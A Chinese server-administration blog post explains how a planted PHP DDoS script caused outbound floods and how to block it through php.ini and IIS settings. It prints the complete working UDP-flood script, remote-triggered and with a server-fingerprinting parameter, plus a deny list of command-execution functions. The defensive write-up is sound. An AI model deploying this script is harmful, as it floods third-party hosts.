PHP环境(IIS/apache)对外发包的解决方法
PHP环境(IIS/apache)对外发包的解决方法
前段时间有一些用户的带宽经常跑满,防火墙查看是在向外发包,决定一查究竟。开始以为是系统中毒,但是查毒之后并没有什么异常。后来发现IIS/apache服务停掉之后,就恢复了。于是开始从web服务方面查找原因,最后确认是PHP网站代码被篡改,植入DDOS攻击代码。
在网上搜索到了一段PHP-DDOS代码:
- <?php
- set_time_limit(999999);
- $host = $_GET['host'];
- $port = $_GET['port'];
- $exec_time = $_GET['time'];
- $Sendlen = 65535;
- $packets = 0;
- ignore_user_abort(True);
- if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
- if (StrLen($_GET['rat'])<>0){
- echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER
- ['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
- exit;
- }
- echo "Parameters can not be empty!";
- exit;
- }
- for($i=0;$i<$Sendlen;$i++){
- $out .= "A";
- }
- $max_time = time()+$exec_time;
- while(1){
- $packets++;
- if(time() > $max_time){
- break;
- }
- $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
- if($fp){
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- echo "Send Host:$host:$port<br><br>";
- echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " .
- round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
- echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/
- $exec_time*$Sendlen/1024/1024, 2) . " mb/s";
- ?>
这段程序比较简单,其中有一行$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 这就是问题所在了,那么为了避免以后再出问题,我们把fsockopen给关闭,注意如果你用了phpmailer组件这个关了就不能发邮件了,
1、关闭fsockopen方法
打开php.ini文件,添加以下内容
- disable_functions = popen,exec,passthru,system,fsockopen,pfsockopen
重启iis/apache就可以了,但是这样把所有功能都限制了,如果我们只想限制fsockopen可以如下操作。
同样在php.ini做如下修改:
找到
- allow_url_fopen = On
修改为
- allow_url_fopen = Off
再找到
- extension=php_sockets.dll
将其注释掉
- ;extension=php_sockets.dll
重启iis/apache,再试 应该就可以了。
2、针对IIS的设置
1)打开Internet 信息服务(IIS)管理器,右键点“我的计算机”——属性,
选上“允许直接编辑配置数据库(N)”,确定。
2) 用编辑器打开
- C:\Windows\system32\inetsrv\MetaBase.xml.
查找关键词为:MinFileBytesPerSec ,将默认值240 修改为0.
查找 ConnectionTimeout 的值修改为 600.
保存退出。
3)重新起动IIS服务
经过以上的设置,一般的PHPDDOS代码就无法运行了,最好的解决方法还是找到代码删除,做好安全防护,不要给文件完全写入权限等等。
目录 返回
首页